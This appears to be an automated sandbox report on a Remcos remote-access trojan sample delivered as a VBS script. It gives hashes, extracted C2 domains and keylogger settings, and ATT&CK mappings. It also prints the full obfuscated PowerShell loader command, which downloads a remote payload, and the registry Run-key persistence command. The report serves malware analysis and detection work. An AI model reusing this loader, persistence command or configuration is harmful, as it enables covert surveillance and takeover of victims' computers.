remcos | 56f92bcf7ada15ed99e5cd14825ae94d208ccdaafb7e611dbc6035070f31948c

Analysis

max time kernel
150s
max time network
158s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
19-11-2024 04:34

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

56f92bcf7ada15ed99e5cd14825ae94d208ccdaafb7e611dbc6035070f31948c.vbs
Size

72KB
MD5

2c6f72e7eaa64a9c71c4bcb7443057c7
SHA1

a0b2ae9f70163e5649c56b673d2b12f69ec39714
SHA256

56f92bcf7ada15ed99e5cd14825ae94d208ccdaafb7e611dbc6035070f31948c
SHA512

19eebf6615c1c78bdb7b63ac93fb7d8c2724146575a622c5a36b59cbceb6f888e6f9ec35fe02d5dce61d552f9f59e2a75833ae085c73a2a45398f9b8384484da
SSDEEP

1536:Ft9NyhoBryzHywwruvVtpliTUEH7lNZjKu:Vr2IiNtqH7lXKu

Score

10^/10

remcos cla$$y discovery persistence rat

Malware Config

Extracted

Family

remcos

Botnet

Cla$$y

hjnourt38haoust1.duckdns.org:57484

hjnourt38haoust1.duckdns.org:57483

iwarsut775laudryed1.duckdns.org:57484

iwarsut775laudryed2.duckdns.org:57484

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
true
install_flag
false
keylog_crypt
false
keylog_file
kabnspt.dat
keylog_flag
false
keylog_path
%AppData%
mouse_option
false
mutex
shibetgtst-XSNZ2G
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
startup_value
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Blocklisted process makes network request 64 IoCs

flow	pid	Process
5	2976	WScript.exe
8	2564	powershell.exe
34	1820	msiexec.exe
36	1820	msiexec.exe
39	1820	msiexec.exe
40	1820	msiexec.exe
44	1820	msiexec.exe
45	1820	msiexec.exe
46	1820	msiexec.exe
47	1820	msiexec.exe
48	1820	msiexec.exe
49	1820	msiexec.exe
52	1820	msiexec.exe
53	1820	msiexec.exe
54	1820	msiexec.exe
55	1820	msiexec.exe
56	1820	msiexec.exe
57	1820	msiexec.exe
60	1820	msiexec.exe
61	1820	msiexec.exe
62	1820	msiexec.exe
63	1820	msiexec.exe
67	1820	msiexec.exe
69	1820	msiexec.exe
71	1820	msiexec.exe
72	1820	msiexec.exe
74	1820	msiexec.exe
75	1820	msiexec.exe
77	1820	msiexec.exe
78	1820	msiexec.exe
79	1820	msiexec.exe
80	1820	msiexec.exe
82	1820	msiexec.exe
83	1820	msiexec.exe
85	1820	msiexec.exe
86	1820	msiexec.exe
87	1820	msiexec.exe
88	1820	msiexec.exe
90	1820	msiexec.exe
91	1820	msiexec.exe
93	1820	msiexec.exe
94	1820	msiexec.exe
95	1820	msiexec.exe
96	1820	msiexec.exe
98	1820	msiexec.exe
99	1820	msiexec.exe
101	1820	msiexec.exe
102	1820	msiexec.exe
103	1820	msiexec.exe
104	1820	msiexec.exe
106	1820	msiexec.exe
107	1820	msiexec.exe
113	1820	msiexec.exe
114	1820	msiexec.exe
116	1820	msiexec.exe
117	1820	msiexec.exe
119	1820	msiexec.exe
120	1820	msiexec.exe
122	1820	msiexec.exe
123	1820	msiexec.exe
125	1820	msiexec.exe
126	1820	msiexec.exe
128	1820	msiexec.exe
129	1820	msiexec.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation	WScript.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Terminalsekvensernes = "%Centroids% -windowstyle 1 $Jazze=(gp -Path 'HKCU:\\Software\\Reliberating\\').Citronsommerfugle;%Centroids% ($Jazze)"	reg.exe

Network Service Discovery 1 TTPs 2 IoCs

Attempt to gather information on host's network.

discovery

Network Service Discovery

T1046

pid	Process
2564	powershell.exe
3628	powershell.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
1820	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
3628	powershell.exe
1820	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4948	reg.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2564	powershell.exe
2564	powershell.exe
3628	powershell.exe
3628	powershell.exe
3628	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
3628	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2564	powershell.exe
Token: SeDebugPrivilege	3628	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1820	msiexec.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2976 wrote to memory of 2564	2976	WScript.exe	82
PID 2976 wrote to memory of 2564	2976	WScript.exe	82
PID 3628 wrote to memory of 1820	3628	powershell.exe	96
PID 3628 wrote to memory of 1820	3628	powershell.exe	96
PID 3628 wrote to memory of 1820	3628	powershell.exe	96
PID 3628 wrote to memory of 1820	3628	powershell.exe	96
PID 1820 wrote to memory of 3600	1820	msiexec.exe	99
PID 1820 wrote to memory of 3600	1820	msiexec.exe	99
PID 1820 wrote to memory of 3600	1820	msiexec.exe	99
PID 3600 wrote to memory of 4948	3600	cmd.exe	101
PID 3600 wrote to memory of 4948	3600	cmd.exe	101
PID 3600 wrote to memory of 4948	3600	cmd.exe	101

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\56f92bcf7ada15ed99e5cd14825ae94d208ccdaafb7e611dbc6035070f31948c.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2976
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Osculates Ttningslisters Lopsided Strandrettigheders holdt Mottoer Ragtimer #><#Akvarieplanten Kagu Noncommunicating Tjenstgringer Svbers Dksplads #>$Citrullin='Wormian';function Brief($Rvehalers){If ($host.DebuggerEnabled) {$Vrdifuldere=5} for ($Tilslringernes=$Vrdifuldere;;$Tilslringernes+=6){if(!$Rvehalers[$Tilslringernes]) { break }$Fahlore+=$Rvehalers[$Tilslringernes]}$Fahlore}function Shanghaje($Cree){ .($Undfangelsernes) ($Cree)}$Behandlingshjem=Brief 'anagnnTu,ise BenzT abn.Homolw ookwEEngluB SpekC ndveLDinanISuperEIndfanU.obeT';$Fuglsangs=Brief ' jnenMSitdooFi,rozMorgeiBrnerlrent.lHalvma,veri/';$Cytocide=Brief 'LenetT,tedslTypees.kema1udlng2';$Sammensys='Frd g[TakninAccideSla kTFimre. ,ontSGenerEP eheRDasewVsubpoI roneCPharmE nslpHoll,OPon.oIToco NAspirt CikoMR olpAHedebn No caUnat.G MacaeboplerKlaph]Freds:Deut :Arb.jS ScanE verCTeateue,ektR tidiiExautt Non.YUr.thPjere,rN,ordoFugeutAptdeo R,agcKachio DearLInd a=Aniel$ edevcSka dySe,vitReadjODemimcSkaa.I FinmD Bor,E';$Fuglsangs+=Brief 'Swa d5Front.Cando0Delta Mira(LaconWBegraiDissinSimuldCoun ohydr wLyss s,ubte S.utN RuskTUdsto Neutr1terra0Orien. ntre0Indl.; Ultr ArabeWN.nteiIntegn ingy6venti4 Ansk;Fore, SkatxUrede6Sodom4Tripa;.kral AfkryrKoor,vAtten:Irone1 Doze3Neuru1Pinny.Psych0ak ie)Indeh Fr.mGYder e.igeoc Co pkEssayoReti /bravu2House0Sadde1Folke0Socia0Pigpe1Leath0Lowdo1An im Fro hFForesiAromarUnmete Sr afMultioFiskexSabre/Unpro1Forew3F ulk1Manip. G.lt0';$Signalklokke236=Brief '.olkeuPlutospreteESparerPhysa- BureA FishGIoti,eSkolenNonpat';$Fdselskontrollerne=Brief ' ilsah OpretB,whetAntelpOccipsZebra:Flles/M.sli/Skim b Tyks2partic Tr ka Monos F,rueDelti.solstcInspeoCommomRdtjr/S,mneESputnn hirio PrefdUnconaStil lReat . CultpDoe ec Var z Jubl>BredbhkolontCursotO.ervpFond sCan o: .nfu/ Kets/Caun b oral2T knocTy dsaSkrupsMod te Ant oBiblinPerisecra,e..frigcNoncooRacemmRes.s/Remo,EYdelsn AnorocoaxedHyldeaencaelGanga. T dip Ta ucFastlz';$Omskring=Brief 'Blokd>';$Undfangelsernes=Brief 'BepuriTail.ESkab X';$Loenudbetaling='Unoppugned';$Rocksangernes='\Bridlers.Skr';Shanghaje (Brief 'Se si$KlnenGUnmitlFysiooDonnebindvaa tre.lHjrve:TydeleGasniS,asypP ilieR anadeConceS rilrSUnsusoOsageefemterDjurs=Udskr$ ForfeLinikNAn imvCe eb:idmm AUnrubpgarlaPTri od appaaCala tForeraPa kw+ ivss$ orseRSt veOGlaciCGart KLifessRestraSalifn.rddegBandeE Uf rRBodl NForhaEG opyS');Shanghaje (Brief 'viske$UndivGMonopLBrnebo SnivBTidssaSolplLtideh: Filmt MassADilemiLaurbNBrnect,islouDiarrrundereBlanq= .amm$DriftFFri rdRadiosKromoEperivLTrithSbiblikCoapto heltNHjemst ChagR,habdOStempl Slidl FlavEGenneRO,ofrNBarnsEBip,n.Ant dSPrestPwordsLinsuliSkiftTPunka(Riffe$K.rtooMyti.m EmotSSkimmK lenRE plii S idNE,spogUd,pr)');Shanghaje (Brief $Sammensys);$Fdselskontrollerne=$Tainture[0];$Traadspinderierne=(Brief 'Kom.i$PelleGch.roLConvooSekulbCyc oA SlaglSnkni:upfloIscribNPraisSUnderT.nekkiBowdltSemipu ApritLilleiJa.anO IntrNPrepeI sc iSMolesEJumpesCance=m terNU shoe assewS.nki-RecipO.orbibDyrehjDisshE oofacFrabeT St g ShadeS .verY SardSOverbtNoeplEAf elmLong .Unsu $HeterBLeverEPoppehCadieaHornpnXer.tDariu l akkeI VirkNPolytgTurbosProviho eraJW ferEbadevm');Shanghaje ($Traadspinderierne);Shanghaje (Brief ' Angi$thetiITakstnInbresAgamitFrogwiCarpetEnfeeuDipott ekoniStepdo Wiven eekeiAktios o.tceAnatus Rusi. FresH Fka.eBra daStratdLinkeeBrakkrMetafs ,ema[C,cad$T aveS eatiReinfgMakvanChab.a.elbrlSuback lokklSta co,nderk lectkAnfree P ag2Fissi3 Pa t6 prec]Chari= Prob$Tr.stFhalvpuB esegSilurlBlandsEkstea SkatnEncefgDiffrs');$Tonehovedets=Brief 'synto$SmedeI orsnPhaeosBesgstTobaki Sphet ovelu oltit Ko oiBootloKrim.n DokuiRealis Serre onadsdolin.Idi mDRetsto,ondewAnticnhvirvlaxiomo edicaTjr,kdFlashFArmlniTh ghlEliz,eUnlik(Dissy$WoodbFBrom.d TilgsUnsleeTankvl,ncris SprtkUnderoVintenScufftKnokkrG mbao SkinlSla.glDiss,e,arderLithonSecereprodu,un.ve$Afbl Drangeo.riafmBlankmOrd ieJustirOv rckinte o MatenTre ltUd ivo Monerpre oe T,mirGr.tenAp gee Scar)';$Dommerkontorerne=$Espressoer;Shanghaje (Brief ' omp$UnproGLyv rlBedcao Bov,BAndenaBron l Jazz: SneddCardiOProsonKrediEPatniC Fami=Penta( An itM gtoeChir SContrTDieze- DesaPvemodaUnderTBugtsh Budg Pans$HerkidCritio yndiMHusstM artESkrmvR UdmaKChemoo Ligen lumTPreproTogstrNonsuEP,gmyRMa leNKanebEcensu)');while (!$donec) {Shanghaje (Brief 'Forsa$StueagAdjudlKalpaoDotatbRegnlaOsteolSkyde:BlomsTUni.oo elitrHesteoB ophs BiltipetritSeasoyUdlgs=Rai.f$EffigC UnmioMa hilImdegoAffalb Overo W evmTransa') ;Shanghaje $Tonehovedets;Shanghaje (Brief ' planS Ud uTSportA upplrNiltrTStran-Abiets Painl In aEPriviELabbepTergi Svigt4');Shanghaje (Brief ' Udsa$ConcegMaksilMalerOF itnb Go eALear LGenop:Re,eiDKrligo StevNForhjEEx,uscsvajm= Borg(Driv.T AfveEB raaSBronktD gma-AutomPAppanAStangtUnavoHEquiv Bepra$LkkerDD.gfaOSubroM tenam Outve UnovRd nciKUnwieo Gr dnUndertNon oOOrangrDeviaEB,emsr ModunKlerkeConli)') ;Shanghaje (Brief ' Gara$ Psy GSha gLCha,qoConstB NursaResunlBitsy:TrypsbNglerLCig ra.eartCCiffek ErnrHBesote kellAyoghurRewart VierEEfterdBrnde=P,ysi$,andsG.richlstinaO sk abTudenA restlRif j:KonfiHFolkey Di.lP AspasClandoUnnigD .umpODummeNUnaggTBogbiIBasissSynchMTwasu+L,mfe+ Lg a%Brn h$TinghTFilo ARavenIRustinThio,t InjeUHjernRKao iEForev.Para C B riOf jlpu O,gaN SprjT') ;$Fdselskontrollerne=$Tainture[$Blackhearted]}$Aktionstider=340501;$Partitionist=30721;Shanghaje (Brief ' Re o$Ku,segP rtuL AttrOD,spoBFl poaHoppelTarmr:jong aElevan baddtConciI OrgebKontriHjlpeo.edniTPsykoiBurblCHjemfA R walTy.nilEfeueYNonpu Over=U.reg B emsGAceraeSanittforma-Fli rcSkattORe tenRegedTfejltE RrlaNT irttMeetb elan$MadweDGentso TubemSalemm SprieDis,irPeafokga loOKloefnAdamaTDanubOM slir .vise Eistr Tunincui te');Shanghaje (Brief 'A ama$ischigSyn olDiakoo Mir b S avaKlipplEtymo:RestiINon bnBilled,umpsvUdstieTerm 6 eaut0ylet Diabe=Dirge Blea,[SteriSEyeliyAntidsrigertGgemgeDam imMenis. C nsC RoseomillinTankav ntioeRe.rorRulamtWauch]Enjam:Slbni:Ti srFClarer Sto o estmBaronBFortiaPantisCannaeClito6K lde4UddebS Elzetopr nrQuaggiDeem,nNoetigSkola(Slu,t$GrnseAUnwronT,tant StreiSp kebMhedsiBitteoImprot EmetiVarelcGrossa,dvisl HyldlHjnedymye o)');Shanghaje (Brief 'Reell$SpredgGabbylInforO Sam b anthADryppLBluff:FordabFreckRGal io babdPStaphi NonvL StinL.atmiESeculN AskeSGrovv Tide=D,sen Kilom[Ka kesS.ralYOzzykSTinaft Re.eESabbamChrom.S,afftCi cuec,lciXOmfanT .etr. utikeSynftNFletncpeakyoCaecudUnspeISkif nFir agTophn]Malkn:Tactl: arskA,risisBen aCKendeiReviviSt ti.PentagRiverE IderT An,iSGummitHalvtrCheatIvuggenUmindGS,rkk(Diago$ Sn sIKastanCe.trDt sseVAzonse Excu6 nder0 Maas)');Shanghaje (Brief 'Fl td$Bi.paGS eatlMembroCurviBOvertaTransLAcidi:SatirDunddrASe.acT SbefaRestrBDiluta arrasAst.oeSal.sDGodare,olyeSQ oteI DublgSegneNmaria9overs1Sensi=B ikh$Onde BDeserR ,ledOUddanP Dikti Detol Us nlSpor,EdicroNPlatysArmer.As ocS enecu Zyg,bTrow,sUkolltSt,rerYvonaiVisuaNSaetngStere( Ukul$Mar aAnedrukImpartH ndeISofa oForseN espesValutTDo.blIVulgaDArchmeGaleaRAnthr,Under$CensuP Circafej lrHarruTRiverikotyptUnce.iCoumaOContenRiggiIM rsuSOver tAppli)');Shanghaje $Databasedesign91;"
  2⤵
  - Blocklisted process makes network request
  - Network Service Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2564

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "<#Osculates Ttningslisters Lopsided Strandrettigheders holdt Mottoer Ragtimer #><#Akvarieplanten Kagu Noncommunicating Tjenstgringer Svbers Dksplads #>$Citrullin='Wormian';function Brief($Rvehalers){If ($host.DebuggerEnabled) {$Vrdifuldere=5} for ($Tilslringernes=$Vrdifuldere;;$Tilslringernes+=6){if(!$Rvehalers[$Tilslringernes]) { break }$Fahlore+=$Rvehalers[$Tilslringernes]}$Fahlore}function Shanghaje($Cree){ .($Undfangelsernes) ($Cree)}$Behandlingshjem=Brief 'anagnnTu,ise BenzT abn.Homolw ookwEEngluB SpekC ndveLDinanISuperEIndfanU.obeT';$Fuglsangs=Brief ' jnenMSitdooFi,rozMorgeiBrnerlrent.lHalvma,veri/';$Cytocide=Brief 'LenetT,tedslTypees.kema1udlng2';$Sammensys='Frd g[TakninAccideSla kTFimre. ,ontSGenerEP eheRDasewVsubpoI roneCPharmE nslpHoll,OPon.oIToco NAspirt CikoMR olpAHedebn No caUnat.G MacaeboplerKlaph]Freds:Deut :Arb.jS ScanE verCTeateue,ektR tidiiExautt Non.YUr.thPjere,rN,ordoFugeutAptdeo R,agcKachio DearLInd a=Aniel$ edevcSka dySe,vitReadjODemimcSkaa.I FinmD Bor,E';$Fuglsangs+=Brief 'Swa d5Front.Cando0Delta Mira(LaconWBegraiDissinSimuldCoun ohydr wLyss s,ubte S.utN RuskTUdsto Neutr1terra0Orien. ntre0Indl.; Ultr ArabeWN.nteiIntegn ingy6venti4 Ansk;Fore, SkatxUrede6Sodom4Tripa;.kral AfkryrKoor,vAtten:Irone1 Doze3Neuru1Pinny.Psych0ak ie)Indeh Fr.mGYder e.igeoc Co pkEssayoReti /bravu2House0Sadde1Folke0Socia0Pigpe1Leath0Lowdo1An im Fro hFForesiAromarUnmete Sr afMultioFiskexSabre/Unpro1Forew3F ulk1Manip. G.lt0';$Signalklokke236=Brief '.olkeuPlutospreteESparerPhysa- BureA FishGIoti,eSkolenNonpat';$Fdselskontrollerne=Brief ' ilsah OpretB,whetAntelpOccipsZebra:Flles/M.sli/Skim b Tyks2partic Tr ka Monos F,rueDelti.solstcInspeoCommomRdtjr/S,mneESputnn hirio PrefdUnconaStil lReat . CultpDoe ec Var z Jubl>BredbhkolontCursotO.ervpFond sCan o: .nfu/ Kets/Caun b oral2T knocTy dsaSkrupsMod te Ant oBiblinPerisecra,e..frigcNoncooRacemmRes.s/Remo,EYdelsn AnorocoaxedHyldeaencaelGanga. T dip Ta ucFastlz';$Omskring=Brief 'Blokd>';$Undfangelsernes=Brief 'BepuriTail.ESkab X';$Loenudbetaling='Unoppugned';$Rocksangernes='\Bridlers.Skr';Shanghaje (Brief 'Se si$KlnenGUnmitlFysiooDonnebindvaa tre.lHjrve:TydeleGasniS,asypP ilieR anadeConceS rilrSUnsusoOsageefemterDjurs=Udskr$ ForfeLinikNAn imvCe eb:idmm AUnrubpgarlaPTri od appaaCala tForeraPa kw+ ivss$ orseRSt veOGlaciCGart KLifessRestraSalifn.rddegBandeE Uf rRBodl NForhaEG opyS');Shanghaje (Brief 'viske$UndivGMonopLBrnebo SnivBTidssaSolplLtideh: Filmt MassADilemiLaurbNBrnect,islouDiarrrundereBlanq= .amm$DriftFFri rdRadiosKromoEperivLTrithSbiblikCoapto heltNHjemst ChagR,habdOStempl Slidl FlavEGenneRO,ofrNBarnsEBip,n.Ant dSPrestPwordsLinsuliSkiftTPunka(Riffe$K.rtooMyti.m EmotSSkimmK lenRE plii S idNE,spogUd,pr)');Shanghaje (Brief $Sammensys);$Fdselskontrollerne=$Tainture[0];$Traadspinderierne=(Brief 'Kom.i$PelleGch.roLConvooSekulbCyc oA SlaglSnkni:upfloIscribNPraisSUnderT.nekkiBowdltSemipu ApritLilleiJa.anO IntrNPrepeI sc iSMolesEJumpesCance=m terNU shoe assewS.nki-RecipO.orbibDyrehjDisshE oofacFrabeT St g ShadeS .verY SardSOverbtNoeplEAf elmLong .Unsu $HeterBLeverEPoppehCadieaHornpnXer.tDariu l akkeI VirkNPolytgTurbosProviho eraJW ferEbadevm');Shanghaje ($Traadspinderierne);Shanghaje (Brief ' Angi$thetiITakstnInbresAgamitFrogwiCarpetEnfeeuDipott ekoniStepdo Wiven eekeiAktios o.tceAnatus Rusi. FresH Fka.eBra daStratdLinkeeBrakkrMetafs ,ema[C,cad$T aveS eatiReinfgMakvanChab.a.elbrlSuback lokklSta co,nderk lectkAnfree P ag2Fissi3 Pa t6 prec]Chari= Prob$Tr.stFhalvpuB esegSilurlBlandsEkstea SkatnEncefgDiffrs');$Tonehovedets=Brief 'synto$SmedeI orsnPhaeosBesgstTobaki Sphet ovelu oltit Ko oiBootloKrim.n DokuiRealis Serre onadsdolin.Idi mDRetsto,ondewAnticnhvirvlaxiomo edicaTjr,kdFlashFArmlniTh ghlEliz,eUnlik(Dissy$WoodbFBrom.d TilgsUnsleeTankvl,ncris SprtkUnderoVintenScufftKnokkrG mbao SkinlSla.glDiss,e,arderLithonSecereprodu,un.ve$Afbl Drangeo.riafmBlankmOrd ieJustirOv rckinte o MatenTre ltUd ivo Monerpre oe T,mirGr.tenAp gee Scar)';$Dommerkontorerne=$Espressoer;Shanghaje (Brief ' omp$UnproGLyv rlBedcao Bov,BAndenaBron l Jazz: SneddCardiOProsonKrediEPatniC Fami=Penta( An itM gtoeChir SContrTDieze- DesaPvemodaUnderTBugtsh Budg Pans$HerkidCritio yndiMHusstM artESkrmvR UdmaKChemoo Ligen lumTPreproTogstrNonsuEP,gmyRMa leNKanebEcensu)');while (!$donec) {Shanghaje (Brief 'Forsa$StueagAdjudlKalpaoDotatbRegnlaOsteolSkyde:BlomsTUni.oo elitrHesteoB ophs BiltipetritSeasoyUdlgs=Rai.f$EffigC UnmioMa hilImdegoAffalb Overo W evmTransa') ;Shanghaje $Tonehovedets;Shanghaje (Brief ' planS Ud uTSportA upplrNiltrTStran-Abiets Painl In aEPriviELabbepTergi Svigt4');Shanghaje (Brief ' Udsa$ConcegMaksilMalerOF itnb Go eALear LGenop:Re,eiDKrligo StevNForhjEEx,uscsvajm= Borg(Driv.T AfveEB raaSBronktD gma-AutomPAppanAStangtUnavoHEquiv Bepra$LkkerDD.gfaOSubroM tenam Outve UnovRd nciKUnwieo Gr dnUndertNon oOOrangrDeviaEB,emsr ModunKlerkeConli)') ;Shanghaje (Brief ' Gara$ Psy GSha gLCha,qoConstB NursaResunlBitsy:TrypsbNglerLCig ra.eartCCiffek ErnrHBesote kellAyoghurRewart VierEEfterdBrnde=P,ysi$,andsG.richlstinaO sk abTudenA restlRif j:KonfiHFolkey Di.lP AspasClandoUnnigD .umpODummeNUnaggTBogbiIBasissSynchMTwasu+L,mfe+ Lg a%Brn h$TinghTFilo ARavenIRustinThio,t InjeUHjernRKao iEForev.Para C B riOf jlpu O,gaN SprjT') ;$Fdselskontrollerne=$Tainture[$Blackhearted]}$Aktionstider=340501;$Partitionist=30721;Shanghaje (Brief ' Re o$Ku,segP rtuL AttrOD,spoBFl poaHoppelTarmr:jong aElevan baddtConciI OrgebKontriHjlpeo.edniTPsykoiBurblCHjemfA R walTy.nilEfeueYNonpu Over=U.reg B emsGAceraeSanittforma-Fli rcSkattORe tenRegedTfejltE RrlaNT irttMeetb elan$MadweDGentso TubemSalemm SprieDis,irPeafokga loOKloefnAdamaTDanubOM slir .vise Eistr Tunincui te');Shanghaje (Brief 'A ama$ischigSyn olDiakoo Mir b S avaKlipplEtymo:RestiINon bnBilled,umpsvUdstieTerm 6 eaut0ylet Diabe=Dirge Blea,[SteriSEyeliyAntidsrigertGgemgeDam imMenis. C nsC RoseomillinTankav ntioeRe.rorRulamtWauch]Enjam:Slbni:Ti srFClarer Sto o estmBaronBFortiaPantisCannaeClito6K lde4UddebS Elzetopr nrQuaggiDeem,nNoetigSkola(Slu,t$GrnseAUnwronT,tant StreiSp kebMhedsiBitteoImprot EmetiVarelcGrossa,dvisl HyldlHjnedymye o)');Shanghaje (Brief 'Reell$SpredgGabbylInforO Sam b anthADryppLBluff:FordabFreckRGal io babdPStaphi NonvL StinL.atmiESeculN AskeSGrovv Tide=D,sen Kilom[Ka kesS.ralYOzzykSTinaft Re.eESabbamChrom.S,afftCi cuec,lciXOmfanT .etr. utikeSynftNFletncpeakyoCaecudUnspeISkif nFir agTophn]Malkn:Tactl: arskA,risisBen aCKendeiReviviSt ti.PentagRiverE IderT An,iSGummitHalvtrCheatIvuggenUmindGS,rkk(Diago$ Sn sIKastanCe.trDt sseVAzonse Excu6 nder0 Maas)');Shanghaje (Brief 'Fl td$Bi.paGS eatlMembroCurviBOvertaTransLAcidi:SatirDunddrASe.acT SbefaRestrBDiluta arrasAst.oeSal.sDGodare,olyeSQ oteI DublgSegneNmaria9overs1Sensi=B ikh$Onde BDeserR ,ledOUddanP Dikti Detol Us nlSpor,EdicroNPlatysArmer.As ocS enecu Zyg,bTrow,sUkolltSt,rerYvonaiVisuaNSaetngStere( Ukul$Mar aAnedrukImpartH ndeISofa oForseN espesValutTDo.blIVulgaDArchmeGaleaRAnthr,Under$CensuP Circafej lrHarruTRiverikotyptUnce.iCoumaOContenRiggiIM rsuSOver tAppli)');Shanghaje $Databasedesign91;"
1⤵
- Network Service Discovery
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3628
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\SysWOW64\msiexec.exe"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of NtCreateThreadExHideFromDebugger
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1820
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Terminalsekvensernes" /t REG_EXPAND_SZ /d "%Centroids% -windowstyle 1 $Jazze=(gp -Path 'HKCU:\Software\Reliberating\').Citronsommerfugle;%Centroids% ($Jazze)"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3600
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Terminalsekvensernes" /t REG_EXPAND_SZ /d "%Centroids% -windowstyle 1 $Jazze=(gp -Path 'HKCU:\Software\Reliberating\').Citronsommerfugle;%Centroids% ($Jazze)"
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      Modifies registry key
      PID:4948

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Network Service Discovery

T1046

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
d4ff23c124ae23955d34ae2a7306099a

SHA1
b814e3331a09a27acfcd114d0c8fcb07957940a3

SHA256
1de6cfd5e02c052e3475d33793b6a150b2dd6eebbf0aa3e4c8e4e2394a240a87

SHA512
f447a6042714ae99571014af14bca9d87ede59af68a0fa1d880019e9f1aa41af8cbf9c08b0fea2ccb7caa48165a75825187996ea6939ee8370afa33c9f809e79

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5cmj1nrh.y0x.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Bridlers.Skr

Filesize
483KB

MD5
2309a7580edbc530b896385997a75033

SHA1
9348fa8878691721ccd869bbd9db15e340b2f1d8

SHA256
1b8be45b05bb5c1b3fc63d19791984dbf84cac36042f52289e99d4cc57312f2c

SHA512
d48ee62ed79a2e396bd24e42922923dde18ce6a6daa49bf0ed9ca0dbe3d4b62c77a1b3e06a8e7da29c4e0d565391f8428457c2bbe959b708adb15344cc6d1349

Download Submit
memory/1820-56-0x0000000000C30000-0x0000000001E84000-memory.dmp

Filesize
18.3MB

Download
memory/1820-55-0x0000000000C30000-0x0000000001E84000-memory.dmp

Filesize
18.3MB

Download
